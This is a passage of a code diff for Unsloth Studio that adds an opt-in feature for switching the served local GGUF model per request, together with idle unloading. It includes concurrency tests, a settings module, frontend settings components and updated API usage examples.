+    monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom)
+    payload = _chat_request(
+        model = "org/B-GGUF", tool_choice = {"type": "function", "function": {"name": "ok"}}
+    )
+    with pytest.raises(_Reached):
+        asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester"))
+
+
+def test_lifecycle_gate_serializes_across_loops():
+    # Codex P2: the lifecycle gate must be process-wide so a swap on one loop blocks
+    # inference starting on another. Two loops must never hold the gate at once.
+    import threading
+    from core.inference import llama_keepwarm as kw
+
+    state = {"cur": 0, "max": 0}
+    slock = threading.Lock()
+
+    async def _use():
+        async with kw._unload_gate():
+            with slock:
+                state["cur"] += 1
+                state["max"] = max(state["max"], state["cur"])
+            await asyncio.sleep(0.05)
+            with slock:
+                state["cur"] -= 1
+
+    barrier = threading.Barrier(2)
+
+    def _run():
+        barrier.wait()
+        asyncio.run(_use())
+
+    threads = [threading.Thread(target = _run) for _ in range(2)]
+    for t in threads:
+        t.start()
+    for t in threads:
+        t.join()
+    assert state["max"] == 1  # never held on two loops at once
+
+
+def test_auto_switch_serializes_across_event_loops(monkeypatch):
+    # Codex P2: the per-loop asyncio lock can't serialize two swaps on different
+    # event loops in one process. The process-wide gate must, so the two slow loads
+    # never overlap on the single model slot.
+    import threading
+
+    backend = _FakeBackend("org/A-GGUF")
+    state = {"cur": 0, "max": 0}
+    loaded: list = []
+    slock = threading.Lock()
+
+    async def _slow_load(
+        request,
+        fastapi_request,
+        current_subject = None,
+    ):
+        with slock:
+            state["cur"] += 1
+            state["max"] = max(state["max"], state["cur"])
+        await asyncio.sleep(0.1)  # widen the window so an unguarded race would overlap
+        with slock:
+            state["cur"] -= 1
+            loaded.append(request.model_path)
+        backend.model_identifier = request.model_path
+        backend.is_loaded = True
+        backend._openai_advertised_id = None
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
+    monkeypatch.setattr(resolver, "resolve_local_gguf", lambda m: (m, "Q8_0", m))
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+    monkeypatch.setattr(inference_route, "_load_model_impl", _slow_load)
+    monkeypatch.setattr(inference_route, "_auto_switch_waiters", {})
+    monkeypatch.setattr(inference_route, "_auto_switch_request_waiters", {})
+
+    barrier = threading.Barrier(2)
+
+    def _run(model):
+        barrier.wait()  # release both threads together so they truly race
+        asyncio.run(inference_route._maybe_auto_switch_model(model, object(), "t"))
+
+    threads = [
+        threading.Thread(target = _run, args = ("org/B-GGUF",)),
+        threading.Thread(target = _run, args = ("org/C-GGUF",)),
+    ]
+    for t in threads:
+        t.start()
+    for t in threads:
+        t.join()
+
+    assert state["max"] == 1  # the gate serialized the two cross-loop swaps
+    assert sorted(loaded) == ["org/B-GGUF", "org/C-GGUF"]  # both still swapped
+
+
+def test_acquire_swap_gate_is_cancellation_safe():
+    # A waiter cancelled while waiting for the gate (client disconnect mid-swap)
+    # must not leak it: after the holder releases, a fresh acquire still succeeds.
+    # The to_thread(acquire) approach would leak here -- its worker thread keeps
+    # acquiring after cancel, so the gate is taken but never released.
+    async def main():
+        await inference_route._acquire_swap_gate()  # this loop holds the gate
+        try:
+
+            async def waiter():
+                await inference_route._acquire_swap_gate()
+
+            t = asyncio.create_task(waiter())
+            await asyncio.sleep(0.05)  # let it spin waiting on the held gate
+            t.cancel()
+            with pytest.raises(asyncio.CancelledError):
+                await t
+        finally:
+            inference_route._auto_switch_process_lock.release()
+        # Gate is free again (the cancelled waiter never acquired it).
+        await asyncio.wait_for(inference_route._acquire_swap_gate(), timeout = 1)
+        inference_route._auto_switch_process_lock.release()
+
+    asyncio.run(asyncio.wait_for(main(), timeout = 5))
diff --git a/studio/backend/tests/test_openai_catalog.py b/studio/backend/tests/test_openai_catalog.py
index f9baf20a66..552f122ebb 100644
--- a/studio/backend/tests/test_openai_catalog.py
+++ b/studio/backend/tests/test_openai_catalog.py
@@ -13,6 +13,7 @@ if str(_BACKEND) not in sys.path:
     sys.path.insert(0, str(_BACKEND))
 
 import routes.inference as inf  # noqa: E402
+from core.inference import local_model_resolver as resolver  # noqa: E402
 
 
 class _Info:
@@ -21,10 +22,12 @@ class _Info:
         id,
         display_name,
         model_id = None,
+        is_gguf = True,
     ):
         self.id = id
         self.display_name = display_name
         self.model_id = model_id
+        self.is_gguf = is_gguf  # drives the files-based GGUF check in the test
 
 
 class _FakeLlama:
@@ -53,10 +56,16 @@ def test_catalog_lists_loaded_and_available(monkeypatch):
         return [
             _Info("/data/models/Qwen3-Q4.gguf", "Qwen3-Q4"),  # same as loaded -> dedup
             _Info("/data/models/Llama-8B-Q8.gguf", "Llama-8B-Q8"),  # available, not loaded
-            _Info("models--org--Foo", "Foo", model_id = "org/Foo"),  # hf cache repo id
+            # HF-cache GGUF: model_format is unset for these, so a files-based check
+            # (not model_format) must still list it.
+            _Info("models--org--Foo", "Foo", model_id = "org/Foo"),
+            # Non-GGUF (safetensors) can't be served via /v1: must NOT be advertised.
+            _Info("/data/models/Mistral-7B", "Mistral-7B", is_gguf = False),
         ]
 
     monkeypatch.setattr(inf, "_cached_local_catalog", _fake_catalog)
+    # GGUF-ness is read from the on-disk files; drive it off each info's flag here.
+    monkeypatch.setattr(resolver, "info_has_local_gguf", lambda info: info.is_gguf)
 
     data = asyncio.run(inf._openai_catalog_objects())
     ids = {m["id"]: m for m in data}
@@ -64,9 +73,12 @@ def test_catalog_lists_loaded_and_available(monkeypatch):
     # Loaded model is present, marked loaded, and keeps context fields.
     assert ids["Qwen3-Q4"]["loaded"] is True
     assert ids["Qwen3-Q4"]["context_length"] == 4096
-    # Available-but-not-loaded models are listed too.
+    # Available-but-not-loaded GGUF models are listed too.
     assert ids["Llama-8B-Q8"]["loaded"] is False
+    # The HF-cache GGUF is listed despite model_format being unset.
     assert ids["org/Foo"]["loaded"] is False
+    # The non-GGUF model is filtered out (/v1 can never serve it).
+    assert "Mistral-7B" not in ids
     # The loaded gguf and the on-disk copy collapse to one clean id.
     assert [m["id"] for m in data].count("Qwen3-Q4") == 1
     # No absolute paths or .gguf suffixes leak anywhere.
@@ -76,6 +88,20 @@ def test_catalog_lists_loaded_and_available(monkeypatch):
     assert "/data/" not in blob
 
 
+def test_catalog_lock_is_per_loop():
+    # Codex P2: a module-level asyncio.Lock ties its waiters to the loop that first
+    # awaited it, so a second event loop awaiting it in a multi-loop process can
+    # hang. The catalog lock must be per-loop (distinct lock per running loop), and
+    # the old shared _CATALOG_LOCK must be gone so it can't be reintroduced.
+    async def _get():
+        return inf._catalog_lock()
+
+    a = asyncio.run(_get())
+    b = asyncio.run(_get())  # a fresh event loop
+    assert a is not b
+    assert not hasattr(inf, "_CATALOG_LOCK")
+
+
 def test_empty_and_errored_scans_are_cached(monkeypatch):
     # Cache validity is keyed on the timestamp, not list contents, so an empty
     # (fresh install / no local models) or errored scan is still cached for the
diff --git a/studio/backend/utils/openai_auto_switch_settings.py b/studio/backend/utils/openai_auto_switch_settings.py
new file mode 100644
index 0000000000..1689395f40
--- /dev/null
+++ b/studio/backend/utils/openai_auto_switch_settings.py
@@ -0,0 +1,180 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Persisted opt-in controls for OpenAI-compatible model auto-switching.
+
+Two settings, both off by default so existing API behavior is unchanged:
+- ``openai_api_auto_switch_model``: when on, a ``/v1`` request whose ``model``
+  names a downloaded local GGUF different from the loaded one transparently
+  loads it before serving (llama-swap-style). Unknown names pass through.
+- ``openai_api_auto_unload_idle_seconds``: when > 0, the loaded GGUF is
+  unloaded after this many idle seconds to free VRAM.
+
+The idle TTL can also be set at startup via the ``UNSLOTH_MODEL_IDLE_TTL`` env
+var. Unlike the stored setting (which stays gated on auto-switch), the env value
+is a standalone default that enables idle-unload even with auto-switch off, for
+headless/container deploys; an explicit UI/API value still overrides it.
+
+Reads are cached for a short window because these are consulted on the
+per-request hot path; writes invalidate the cache.
+"""
+
+from __future__ import annotations
+
+import os
+import threading
+import time
+from typing import Any, Optional
+
+OPENAI_AUTO_SWITCH_SETTING_KEY = "openai_api_auto_switch_model"
+AUTO_UNLOAD_IDLE_SETTING_KEY = "openai_api_auto_unload_idle_seconds"
+MODEL_OVERRIDES_SETTING_KEY = "openai_api_auto_switch_overrides"
+MODEL_IDLE_TTL_ENV_VAR = "UNSLOTH_MODEL_IDLE_TTL"
+
+DEFAULT_OPENAI_AUTO_SWITCH_ENABLED = False
+DEFAULT_AUTO_UNLOAD_IDLE_SECONDS = 0
+
+_CACHE_TTL_S = 2.0
+_cache_lock = threading.Lock()
+_cache: dict[str, tuple[float, Any]] = {}
+
+
+def _coerce_bool(value: Any) -> bool | None:
+    if isinstance(value, bool):
+        return value
+    if isinstance(value, str):
+        normalized = value.strip().lower()
+        if normalized in {"1", "true", "yes", "on"}:
+            return True
+        if normalized in {"0", "false", "no", "off", ""}:
+            return False
+    return None
+
+
+def _coerce_int(value: Any) -> int | None:
+    try:
+        return max(0, int(value))
+    except (TypeError, ValueError):
+        return None
+
+
+def _cached_setting(key: str, default: Any) -> Any:
+    """Read an app setting, memoized for _CACHE_TTL_S to spare the hot path."""
+    now = time.monotonic()
+    with _cache_lock:
+        hit = _cache.get(key)
+        if hit is not None and now - hit[0] < _CACHE_TTL_S:
+            return hit[1]
+    try:
+        from storage.studio_db import get_app_setting
+        stored = get_app_setting(key, None)
+    except Exception:
+        stored = None
+    value = default if stored is None else stored
+    with _cache_lock:
+        _cache[key] = (now, value)
+    return value
+
+
+def _invalidate(key: str) -> None:
+    with _cache_lock:
+        _cache.pop(key, None)
+
+
+def get_openai_auto_switch_enabled() -> bool:
+    parsed = _coerce_bool(_cached_setting(OPENAI_AUTO_SWITCH_SETTING_KEY, None))
+    return parsed if parsed is not None else DEFAULT_OPENAI_AUTO_SWITCH_ENABLED
+
+
+def _stored_idle_seconds() -> Optional[int]:
+    """The persisted idle TTL as an int, or None when never set."""
+    return _coerce_int(_cached_setting(AUTO_UNLOAD_IDLE_SETTING_KEY, None))
+
+
+def _env_idle_seconds() -> Optional[int]:
+    """UNSLOTH_MODEL_IDLE_TTL as a non-negative seconds value, or None if unset/invalid."""
+    raw = os.environ.get(MODEL_IDLE_TTL_ENV_VAR)
+    if raw is None or not raw.strip():
+        return None
+    return _coerce_int(raw)
+
+
+def get_stored_auto_unload_idle_seconds() -> int:
+    """The persisted idle-unload TTL, independent of whether auto-switch is on.
+
+    The settings UI reads this so it can display and round-trip the saved value;
+    toggling auto-switch off must not erase it. Falls back to the env override so
+    the UI shows the startup default. The idle loop uses the gated reader below.
+    """
+    stored = _stored_idle_seconds()
+    if stored is not None:
+        return stored
+    env = _env_idle_seconds()
+    return env if env is not None else DEFAULT_AUTO_UNLOAD_IDLE_SECONDS
+
+
+def get_auto_unload_idle_seconds() -> int:
+    """Effective idle TTL the idle loop runs on (0 = never unload)."""
+    stored = _stored_idle_seconds()
+    if stored is not None:
+        # An explicit UI/API value stays gated on auto-switch: off reports 0 so the
+        # off state is identical to pre-feature.
+        return stored if get_openai_auto_switch_enabled() else 0
+    # No stored value: UNSLOTH_MODEL_IDLE_TTL is a standalone startup default that
+    # enables idle-unload even with auto-switch off (headless/container deploys).
+    env = _env_idle_seconds()
+    return env if env is not None else 0
+
+
+def set_openai_auto_switch(enabled: Any, idle_seconds: Any) -> tuple[bool, int]:
+    """Set both auto-switch flags in one transaction so a settings PUT can't leave
+    one key updated and the other stale. Both values are coerced before any write,
+    so an invalid value raises without persisting either."""
+    parsed_enabled = _coerce_bool(enabled)
+    if parsed_enabled is None:
+        raise ValueError("OpenAI auto-switch must be true or false.")
+    parsed_idle = _coerce_int(idle_seconds)
+    if parsed_idle is None:
+        raise ValueError("Auto-unload idle seconds must be a non-negative integer.")
+    from storage.studio_db import upsert_app_settings
+
+    upsert_app_settings(
+        {OPENAI_AUTO_SWITCH_SETTING_KEY: parsed_enabled, AUTO_UNLOAD_IDLE_SETTING_KEY: parsed_idle}
+    )
+    _invalidate(OPENAI_AUTO_SWITCH_SETTING_KEY)
+    _invalidate(AUTO_UNLOAD_IDLE_SETTING_KEY)
+    return parsed_enabled, parsed_idle
+
+
+def get_model_overrides() -> dict[str, dict]:
+    """Per-model launch overrides keyed by model id ({llama_extra_args, max_seq_length})."""
+    raw = _cached_setting(MODEL_OVERRIDES_SETTING_KEY, None)
+    return raw if isinstance(raw, dict) else {}
+
+
+def get_model_override(model_id: str) -> dict:
+    """The launch override applied when auto-switch loads ``model_id`` (or empty)."""
+    override = get_model_overrides().get(model_id)
+    return override if isinstance(override, dict) else {}
+
+
+def set_model_override(
+    model_id: str,
+    llama_extra_args: Optional[list[str]] = None,
+    max_seq_length: Optional[int] = None,
+) -> dict:
+    """Upsert one model's launch override; an override with no fields removes it."""
+    if not model_id or not model_id.strip():
+        raise ValueError("model_id is required.")
+    entry: dict[str, Any] = {}
+    if llama_extra_args:
+        entry["llama_extra_args"] = [str(arg) for arg in llama_extra_args]
+    if max_seq_length:
+        entry["max_seq_length"] = max(0, int(max_seq_length))
+
+    from storage.studio_db import upsert_app_setting_map_entry
+
+    # Atomic per-entry merge so two PUTs for different models can't drop each other.
+    upsert_app_setting_map_entry(MODEL_OVERRIDES_SETTING_KEY, model_id.strip(), entry or None)
+    _invalidate(MODEL_OVERRIDES_SETTING_KEY)
+    return entry
diff --git a/studio/frontend/src/features/settings/api/openai-auto-switch.ts b/studio/frontend/src/features/settings/api/openai-auto-switch.ts
new file mode 100644
index 0000000000..80ffc084d0
--- /dev/null
+++ b/studio/frontend/src/features/settings/api/openai-auto-switch.ts
@@ -0,0 +1,89 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import { readFastApiError } from "@/lib/format-fastapi-error";
+
+export type OpenAIAutoSwitchSettings = {
+  enabled: boolean;
+  autoUnloadIdleSeconds: number;
+  defaultEnabled: boolean;
+  // True when the idle-unload loop will actually unload (e.g. enabled via the
+  // UNSLOTH_MODEL_IDLE_TTL env var even while the toggle is off).
+  idleUnloadActive: boolean;
+};
+
+type ApiOpenAIAutoSwitchSettings = {
+  enabled: boolean;
+  // biome-ignore lint/style/useNamingConvention: API schema
+  auto_unload_idle_seconds: number;
+  // biome-ignore lint/style/useNamingConvention: API schema
+  default_enabled: boolean;
+  // biome-ignore lint/style/useNamingConvention: API schema
+  idle_unload_active?: boolean;
+};
+
+let cachedSettings: OpenAIAutoSwitchSettings | null = null;
+let inFlightSettings: Promise<OpenAIAutoSwitchSettings> | null = null;
+
+function fromApi(
+  settings: ApiOpenAIAutoSwitchSettings,
+): OpenAIAutoSwitchSettings {
+  return {
+    enabled: settings.enabled,
+    autoUnloadIdleSeconds: settings.auto_unload_idle_seconds,
+    defaultEnabled: settings.default_enabled,
+    idleUnloadActive: settings.idle_unload_active ?? false,
+  };
+}
+
+async function fetchOpenAIAutoSwitchSettings(): Promise<OpenAIAutoSwitchSettings> {
+  const res = await authFetch("/api/settings/openai-auto-switch");
+  if (!res.ok) {
+    throw new Error(
+      await readFastApiError(res, "Failed to load model auto-switch settings"),
+    );
+  }
+  return fromApi(await res.json());
+}
+
+function cacheSettings(settings: OpenAIAutoSwitchSettings) {
+  cachedSettings = settings;
+  return settings;
+}
+
+export async function loadOpenAIAutoSwitchSettings() {
+  if (cachedSettings) {
+    return cachedSettings;
+  }
+  inFlightSettings ??= fetchOpenAIAutoSwitchSettings()
+    .then(cacheSettings)
+    .finally(() => {
+      inFlightSettings = null;
+    });
+  return inFlightSettings;
+}
+
+export async function updateOpenAIAutoSwitchSettings(
+  enabled: boolean,
+  autoUnloadIdleSeconds: number,
+): Promise<OpenAIAutoSwitchSettings> {
+  const res = await authFetch("/api/settings/openai-auto-switch", {
+    method: "PUT",
+    headers: { "Content-Type": "application/json" },
+    body: JSON.stringify({
+      enabled,
+      // biome-ignore lint/style/useNamingConvention: API schema
+      auto_unload_idle_seconds: autoUnloadIdleSeconds,
+    }),
+  });
+  if (!res.ok) {
+    throw new Error(
+      await readFastApiError(
+        res,
+        "Failed to update model auto-switch settings",
+      ),
+    );
+  }
+  return cacheSettings(fromApi(await res.json()));
+}
diff --git a/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx b/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx
new file mode 100644
index 0000000000..581c78ebd1
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx
@@ -0,0 +1,165 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Button } from "@/components/ui/button";
+import { Input } from "@/components/ui/input";
+import { Switch } from "@/components/ui/switch";
+import { useT } from "@/i18n";
+import { useEffect, useState } from "react";
+import {
+  type OpenAIAutoSwitchSettings,
+  loadOpenAIAutoSwitchSettings,
+  updateOpenAIAutoSwitchSettings,
+} from "../api/openai-auto-switch";
+import { SettingsRow } from "./settings-row";
+import { SettingsSection } from "./settings-section";
+
+export function ModelAutoSwitchSection() {
+  const t = useT();
+  const [settings, setSettings] = useState<OpenAIAutoSwitchSettings | null>(
+    null,
+  );
+  const [draftIdleSeconds, setDraftIdleSeconds] = useState("0");
+  const [error, setError] = useState<string | null>(null);
+  const [isSaving, setIsSaving] = useState(false);
+
+  useEffect(() => {
+    let cancelled = false;
+    void loadOpenAIAutoSwitchSettings()
+      .then((loaded) => {
+        if (cancelled) return;
+        setSettings(loaded);
+        setDraftIdleSeconds(String(loaded.autoUnloadIdleSeconds));
+        setError(null);
+      })
+      .catch((loadError) => {
+        if (cancelled) return;
+        setError(
+          loadError instanceof Error
+            ? loadError.message
+            : t("settings.general.modelAutoSwitch.loadError"),
+        );
+      });
+    return () => {
+      cancelled = true;
+    };
+  }, [t]);
+
+  // Parse the idle-seconds draft to a non-negative integer; empty/invalid -> null.
+  const parseIdleSeconds = (): number | null => {
+    if (!draftIdleSeconds.trim()) {
+      return null;
+    }
+    const parsed = Number(draftIdleSeconds);
+    return Number.isInteger(parsed) && parsed >= 0 ? parsed : null;
+  };
+
+  const persist = async (
+    enabled: boolean,
+    idleSeconds: number,
+    syncDraft = true,
+  ) => {
+    setIsSaving(true);
+    setError(null);
+    try {
+      const saved = await updateOpenAIAutoSwitchSettings(enabled, idleSeconds);
+      setSettings(saved);
+      if (syncDraft) {
+        setDraftIdleSeconds(String(saved.autoUnloadIdleSeconds));
+      }
+    } catch (saveError) {
+      setError(
+        saveError instanceof Error
+          ? saveError.message
+          : t("settings.general.modelAutoSwitch.saveError"),
+      );
+    } finally {
+      setIsSaving(false);
+    }
+  };
+
+  // Idle-unload is tied to auto-switch (the freed model reloads via the swap).
+  // Toggling off preserves the saved seconds rather than zeroing them — the
+  // backend gates unloading on the enabled flag, so it never unloads while off.
+  // Enabling commits the drafted value, falling back to the last saved one so
+  // it can never get stuck.
+  const handleToggle = (enabled: boolean) => {
+    const savedIdleSeconds = settings?.autoUnloadIdleSeconds ?? 0;
+    if (!enabled) {
+      void persist(false, savedIdleSeconds, false);
+      return;
+    }
+    void persist(true, parseIdleSeconds() ?? savedIdleSeconds);
+  };
+
+  const handleSaveIdle = () => {
+    const idleSeconds = parseIdleSeconds();
+    if (idleSeconds === null) {
+      setError(t("settings.general.modelAutoSwitch.idleError"));
+      return;
+    }
+    void persist(true, idleSeconds);
+  };
+
+  return (
+    <SettingsSection title={t("settings.general.modelAutoSwitch.sectionTitle")}>
+      <SettingsRow
+        label={t("settings.general.modelAutoSwitch.enable")}
+        description={t("settings.general.modelAutoSwitch.enableDescription")}
+      >
+        <Switch
+          checked={settings?.enabled ?? false}
+          disabled={!settings || isSaving}
+          onCheckedChange={handleToggle}
+        />
+      </SettingsRow>
+      <SettingsRow
+        label={t("settings.general.modelAutoSwitch.idleUnload")}
+        description={t(
+          "settings.general.modelAutoSwitch.idleUnloadDescription",
+        )}
+      >
+        <div className="flex flex-col items-end gap-1">
+          <div className="flex items-center gap-2">
+            <div className="relative w-28">
+              <Input
+                type="number"
+                min={0}
+                step={1}
+                value={draftIdleSeconds}
+                aria-label="Idle auto-unload seconds"
+                disabled={!settings?.enabled || isSaving}
+                onChange={(event) => setDraftIdleSeconds(event.target.value)}
+                className="h-8 w-full pr-8"
+              />
+              <span className="pointer-events-none absolute inset-y-0 right-3 flex items-center text-xs font-medium text-muted-foreground">
+                s
+              </span>
+            </div>
+            <Button
+              variant="outline"
+              size="sm"
+              disabled={!settings?.enabled || isSaving}
+              onClick={handleSaveIdle}
+            >
+              {isSaving ? t("common.saving") : t("common.save")}
+            </Button>
+          </div>
+          {error ? (
+            <span className="max-w-[260px] text-right text-xs text-destructive">
+              {error}
+            </span>
+          ) : settings && !settings.enabled && settings.idleUnloadActive ? (
+            <span className="max-w-[260px] text-right text-xs text-muted-foreground">
+              {t("settings.general.modelAutoSwitch.idleActiveViaEnv")}
+            </span>
+          ) : settings && !settings.enabled ? (
+            <span className="max-w-[260px] text-right text-xs text-muted-foreground">
+              {t("settings.general.modelAutoSwitch.idleNeedsEnable")}
+            </span>
+          ) : null}
+        </div>
+      </SettingsRow>
+    </SettingsSection>
+  );
+}
diff --git a/studio/frontend/src/features/settings/components/usage-examples.tsx b/studio/frontend/src/features/settings/components/usage-examples.tsx
index 4085aa2ab0..aef2e7ffe6 100644
--- a/studio/frontend/src/features/settings/components/usage-examples.tsx
+++ b/studio/frontend/src/features/settings/components/usage-examples.tsx
@@ -27,6 +27,11 @@ import {
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useEffect, useMemo, useState } from "react";
 import { Streamdown } from "streamdown";
+import {
+  type OpenAIAutoSwitchSettings,
+  loadOpenAIAutoSwitchSettings,
+  updateOpenAIAutoSwitchSettings,
+} from "../api/openai-auto-switch";
 
 // API call type; OS axis applies to curl only (Python is OS-identical).
 type ExampleType =
@@ -68,6 +73,13 @@ const OS_AWARE: Record<ExampleType, boolean> = {
 const CURL_TYPES = new Set<ExampleType>(["curl", "curlTools", "curlAdvanced"]);
 
 const PROMPT = "Can Unsloth Studio do API calling?";
+// Auto-switch demo: a second call naming a different downloaded GGUF so the
+// example shows that the model field selects which model serves.
+// A placeholder the user replaces with one of their downloaded GGUFs. A fixed
+// repo is usually not one they have, so the resolver would fall through and the
+// demo would keep serving the current model instead of switching.
+const SWITCH_MODEL = "your-other-downloaded-GGUF";
+const SWITCH_PROMPT = "Now answer as a different model.";
 // web_search + python + terminal are the reliable built-in tools.
 const TOOLS = ["web_search", "python", "terminal"];
 // Sampling/thinking knobs for the "+ advanced" examples.
@@ -163,13 +175,19 @@ function winBody(model: string, variant: Variant): string {
   return JSON.stringify(body);
 }
 
+// A leading comment (valid in both bash and PowerShell) noting the model field
+// selects the served model when auto-switch is on.
+const SWITCH_NOTE =
+  '# "Switch model by request" is on: set "model" to any downloaded GGUF to switch.\n';
+
 function curlUnix(
   base: string,
   key: string,
   model: string,
   variant: Variant,
+  autoSwitch: boolean,
 ): string {
-  return `curl ${base}/v1/chat/completions \\
+  return `${autoSwitch ? SWITCH_NOTE : ""}curl ${base}/v1/chat/completions \\
   -H "Authorization: Bearer ${key}" \\
   -H "Content-Type: application/json" \\
   -d '${shSingle(curlBodyPretty(model, variant))}'`;
@@ -181,8 +199,9 @@ function curlWindows(
   key: string,
   model: string,
   variant: Variant,
+  autoSwitch: boolean,
 ): string {
-  return `$body = '${psSingle(winBody(model, variant))}'
+  return `${autoSwitch ? SWITCH_NOTE : ""}$body = '${psSingle(winBody(model, variant))}'
 Set-Content -Path body.json -Value $body -Encoding ascii
 curl.exe ${base}/v1/chat/completions \`
   -H "Authorization: Bearer ${key}" \`
@@ -190,11 +209,29 @@ curl.exe ${base}/v1/chat/completions \`
   -d "@body.json"`;
 }
 
+// A second OpenAI call naming a different downloaded GGUF: with auto-switch on,
+// Studio loads it before serving, so the model field selects the served model.
+function pythonSwitchDemo(): string {
+  return `
+
+# "Switch model by request" is on: replace the model below with another GGUF you
+# have downloaded and Studio loads it before serving. Unknown names keep serving
+# the current model.
+response = client.chat.completions.create(
+    model=${j(SWITCH_MODEL)},
+    messages=[{"role": "user", "content": ${j(SWITCH_PROMPT)}}],
+    stream=True,
+)
+for chunk in response:
+    print(chunk.choices[0].delta.content or "", end="")`;
+}
+
 function pythonSnippet(
   base: string,
   key: string,
   model: string,
   variant: Variant,
+  autoSwitch: boolean,
 ): string {
   // Standard OpenAI args are named; Unsloth extensions go through extra_body.
   const named =
@@ -241,7 +278,7 @@ response = client.chat.completions.create(
     messages=[{"role": "user", "content": ${j(PROMPT)}}],${named}${extraBody}
     stream=True,
 )
-${loop}`;
+${loop}${autoSwitch ? pythonSwitchDemo() : ""}`;
 }
 
 function buildSnippets(
@@ -249,15 +286,16 @@ function buildSnippets(
   key: string,
   model: string,
   os: Os,
+  autoSwitch: boolean,
 ): Record<ExampleType, string> {
   const curl = os === "windows" ? curlWindows : curlUnix;
   return {
-    curl: curl(base, key, model, "plain"),
-    python: pythonSnippet(base, key, model, "plain"),
-    curlTools: curl(base, key, model, "tools"),
-    pythonTools: pythonSnippet(base, key, model, "tools"),
-    curlAdvanced: curl(base, key, model, "advanced"),
-    pythonAdvanced: pythonSnippet(base, key, model, "advanced"),
+    curl: curl(base, key, model, "plain", autoSwitch),
+    python: pythonSnippet(base, key, model, "plain", autoSwitch),
+    curlTools: curl(base, key, model, "tools", autoSwitch),
+    pythonTools: pythonSnippet(base, key, model, "tools", autoSwitch),
+    curlAdvanced: curl(base, key, model, "advanced", autoSwitch),
+    pythonAdvanced: pythonSnippet(base, key, model, "advanced", autoSwitch),
   };
 }
 
@@ -346,12 +384,31 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
   const [copied, setCopied] = useState(false);
   const [copiedUrl, setCopiedUrl] = useState(false);
   const [useTunnel, setUseTunnel] = useState<boolean>(readUseTunnelPref);
+  // null while loading; the same setting the General tab exposes (shared cache).
+  const [autoSwitch, setAutoSwitch] = useState<OpenAIAutoSwitchSettings | null>(
+    null,
+  );
+  const [savingAutoSwitch, setSavingAutoSwitch] = useState(false);
 
   // Tunnel may start after the first /api/health read; refresh so it surfaces here.
   useEffect(() => {
     void fetchDeviceType({ force: true });
   }, []);
 
+  useEffect(() => {
+    let cancelled = false;
+    void loadOpenAIAutoSwitchSettings()
+      .then((s) => {
+        if (!cancelled) setAutoSwitch(s);
+      })
+      .catch(() => {
+        // Best-effort: leave the toggle off if the setting can't be read.
+      });
+    return () => {
+      cancelled = true;
+    };
+  }, []);
+
   const model = useLoadedModelName();
   // Real key while revealed (before "Done"); otherwise a placeholder.
   const key = apiKey || KEY_PLACEHOLDER;
@@ -361,9 +418,10 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
   const base =
     useTunnel && cloudflareUrl ? cloudflareUrl : (serverUrl ?? origin);
 
+  const autoSwitchOn = autoSwitch?.enabled ?? false;
   const snippets = useMemo(
-    () => buildSnippets(base, key, model, os),
-    [base, key, model, os],
+    () => buildSnippets(base, key, model, os, autoSwitchOn),
+    [base, key, model, os, autoSwitchOn],
   );
 
   const osAware = OS_AWARE[lang];
@@ -385,6 +443,20 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
     writeUseTunnelPref(next);
   };
 
+  // Same setting as the General tab; persist optimistically and revert on failure
+  // so the examples reflect the live model-switch behavior.
+  const handleToggleAutoSwitch = (next: boolean) => {
+    const idle = autoSwitch?.autoUnloadIdleSeconds ?? 0;
+    setAutoSwitch((prev) => (prev ? { ...prev, enabled: next } : prev));
+    setSavingAutoSwitch(true);
+    void updateOpenAIAutoSwitchSettings(next, idle)
+      .then(setAutoSwitch)
+      .catch(() => {
+        setAutoSwitch((prev) => (prev ? { ...prev, enabled: !next } : prev));
+      })
+      .finally(() => setSavingAutoSwitch(false));
+  };
+
   const handleCopyUrl = async () => {
     if (cloudflareUrl && (await copyToClipboard(cloudflareUrl))) {
       setCopiedUrl(true);
@@ -398,6 +470,41 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
         {t("settings.apiKeys.usageExamples")}
       </h2>
       <div className="min-w-0 max-w-full overflow-hidden rounded-lg border border-border bg-muted/20">
+        {/* Same setting as the General tab; surfaced here so the request `model`
+            actually switches the served model, which the examples below show. */}
+        <div className="flex min-w-0 items-center justify-between gap-2 border-b border-border px-2 py-1.5">
+          <div className="flex shrink-0 items-center gap-1.5">
+            <Switch
+              size="sm"
+              checked={autoSwitchOn}
+              disabled={autoSwitch === null || savingAutoSwitch}
+              onCheckedChange={handleToggleAutoSwitch}
+              aria-label={t("settings.general.modelAutoSwitch.enable")}
+            />
+            <span className="text-[11px] font-medium text-foreground">
+              {t("settings.general.modelAutoSwitch.enable")}
+            </span>
+            <Tooltip>
+              <TooltipTrigger asChild={true}>
+                <button
+                  type="button"
+                  className="flex items-center rounded text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                  aria-label={t(
+                    "settings.general.modelAutoSwitch.enableDescription",
+                  )}
+                >
+                  <HugeiconsIcon
+                    icon={InformationCircleIcon}
+                    className="size-3.5"
+                  />
+                </button>
+              </TooltipTrigger>
+              <TooltipContent className="max-w-[260px] text-[11px] leading-snug">
+                {t("settings.general.modelAutoSwitch.enableDescription")}
+              </TooltipContent>
+            </Tooltip>
+          </div>
+        </div>
         {cloudflareUrl ? (
           <div className="flex min-w-0 items-center justify-between gap-2 border-b border-border px-2 py-1.5">
             <div className="flex shrink-0 items-center gap-1.5">
